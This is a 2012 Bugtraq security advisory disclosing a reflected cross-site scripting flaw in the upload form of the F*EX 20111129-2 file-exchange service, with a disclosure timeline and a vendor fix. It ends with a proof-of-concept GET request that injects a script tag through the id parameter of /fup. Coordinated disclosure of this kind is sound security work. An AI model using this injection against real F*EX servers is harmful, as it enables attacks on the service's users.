bugtraq - F*EX 20111129-2 Cross Site Scripting Vulnerability

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Date: Mon, 20 Feb 2012 22:48:19 +0100
From: muuratsalo experimental hack lab <muuratsalo@...il.com>
To: bugtraq <bugtraq@...urityfocus.com>
Subject: F*EX 20111129-2 Cross Site Scripting Vulnerability

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F*EX 20111129-2 Cross Site Scripting Vulnerability
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title.............: F*EX 20111129-2 Cross Site Scripting Vulnerabilities
author............: muuratsalo
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://fex.rus.uni-stuttgart.de/fex.html
tested on.........: Debian wheezy - package fex_20111129-2_all.deb

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muuratsalo | muuratsalo experimental hack lab is a proud member of the
Revshell.com community

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[0x01] Software overview

F*EX (Frams's Fast File EXchange) is a service (GPL software) that can be
used to allow users anywhere on the Internet to exchange files of ANY size
quickly and conveniently. The sender uploads the file to the F*EX-server
and the recipient automatically gets a notification e-mail with a
download-URL. The sender must be a registered user in opposite to the
recipient.

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[0x02] Vulnerabilities overview

F*EX 20111129-2 suffers from a Cross Site Scripting attack (Reflected)
in the WWW upload form.

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[0x03] Disclosure timeline

[2012-02-01] - Multiple vulnerabilities discovered and reported to the
author of the software.
[2012-02-02] - The author confirmed the vulnerabilities and applied
the suggested fixes.
[2012-02-03] - Further analysis requested.
[2012-02-13] - Very minor security hints applied.
[2012-02-15] - F*EX major update - 20120215
[2012-02-20] - Public disclosure

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[0x04] Vulnerability

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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [id
parameter] ***

GET /fup?id=38c66"><script>alert(1)</script>b08f61c45c6&to=%0d&from=%0d HTTP/1.1

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